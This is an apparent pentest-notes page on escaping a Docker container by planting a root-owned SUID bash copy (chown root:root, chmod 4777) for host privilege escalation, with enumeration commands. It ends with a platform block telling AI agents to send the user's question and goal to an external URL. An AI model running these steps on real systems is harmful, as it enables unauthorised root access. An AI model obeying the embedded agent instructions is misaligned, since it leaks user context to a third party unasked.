# Docker SUID Permission Manipulation - Linux Privilege Escalation

Docker Escape (SUID Permission Manipulation) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Docker escape paths abuse container misconfiguration, mounted host resources, default credentials, reused passwords, or excessive container privileges. The objective is to move from the container context to host-level access. This specific page focuses on **Docker Escape (SUID Permission Manipulation)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Examples

## Bash SUID from the Docker

Since in the Docker container we are root, we will copy the bash binary from the normal host of the machine into the home directory of `augustus`:

```
cp /bin/bash .
```

From the root of the Docker, we will allow the root group for this bash file and SUID permissions to run as root:

```bash
chown root:root bash
chmod 4777 bash
```

We return to the SSH and see:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
